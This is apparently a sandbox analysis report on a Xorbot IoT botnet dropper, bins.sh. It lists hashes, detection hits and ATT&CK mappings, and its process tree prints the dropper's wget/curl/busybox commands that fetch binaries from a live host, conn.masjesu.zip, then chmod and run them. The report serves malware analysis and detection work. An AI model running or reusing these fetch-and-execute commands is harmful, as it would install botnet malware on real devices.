xorbot | bc38541818d1bb0e2680efabdadbf6af567a4ba4729fa6a7d956e20b7db9d260

Analysis

max time kernel
151s
max time network
153s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
23/02/2025, 08:22

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General

Target
bins.sh
Size 10KB
Sample250223-j9r4taskx5
SHA256 bc38541818d1bb0e2680efabdadbf6af567a4ba4729fa6a7d956e20b7db9d260
MD5 7d91e78e4c78e3dd10478fe8ade6533a
SHA1 1c2a8fc459706e28df79275acd686c8eb54bd657
SHA512 c7c693bc7bc0059f7feeef635edaa14b9d11bc2e4c4094d2dde9f9ce43f8df8d3fac59706a97f05b64d137ff144869153a9b2a3f2347591c5e6e9b02317edbdc
SSDEEP 96:YHbmLnHbkowL5RAnLvxvpvlTko3LqisLFlqUi6trA8HLCax1VAV1VLCaWLHb4LL/:uYnjJxl3MyrrJxlP1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 5 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
859	chmod
824	chmod
835	chmod
843	chmod
851	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs	825	bins.sh
/tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo	836	bins.sh
/tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6	844	bins.sh
/tmp/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q	852	bins.sh
/tmp/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf	860	bins.sh

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 17 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
839	wget
847	wget
858	busybox
725	wget
823	busybox
832	curl
834	busybox
842	busybox
850	busybox
848	curl
855	wget
856	curl
864	curl
840	curl
863	wget
821	curl
828	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs	wget
File opened for modification	/tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo	curl
File opened for modification	/tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6	wget
File opened for modification	/tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6	busybox
File opened for modification	/tmp/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q	wget
File opened for modification	/tmp/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf	curl
File opened for modification	/tmp/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds	wget
File opened for modification	/tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs	curl
File opened for modification	/tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs	busybox
File opened for modification	/tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo	wget
File opened for modification	/tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6	curl
File opened for modification	/tmp/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q	curl
File opened for modification	/tmp/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf	wget
File opened for modification	/tmp/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:723
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:725
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
  ./tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
  2⤵
  PID:825
- /bin/rm
  rm tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
  2⤵
  - System Network Configuration Discovery
  PID:834
- /bin/chmod
  chmod 777 E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
  ./E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
  2⤵
  PID:836
- /bin/rm
  rm E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod 777 1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
  ./1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
  2⤵
  PID:844
- /bin/rm
  rm 1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
  2⤵
  PID:846
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
  2⤵
  - System Network Configuration Discovery
  PID:850
- /bin/chmod
  chmod 777 6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
  ./6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
  2⤵
  PID:852
- /bin/rm
  rm 6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
  2⤵
  - System Network Configuration Discovery
  PID:858
- /bin/chmod
  chmod 777 47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
  ./47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
  2⤵
  PID:860
- /bin/rm
  rm 47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6

Path /tmp/1jbtsURuCnR7loS17IR1AbYOytxLAoyJX6
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf

Path /tmp/47jJBcrpD8tFJLWlwluq2c85gimGyhnfaf
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q

Path /tmp/6BqEzW38ZOYZ6HZHCvwC5i7oIfcKh7Mv9q
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

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E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo

Path /tmp/E1Zk2bgB4H8lO3zgRg3whQCLkM3B13RNZo
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds

Path /tmp/cZG0LdAaljdEEtpzqCl1cWRkSqzE5fpJds
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs

Path /tmp/tqcvCjCxQMAC6Sfh5Rim2Y0meM4MGiMRYs
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads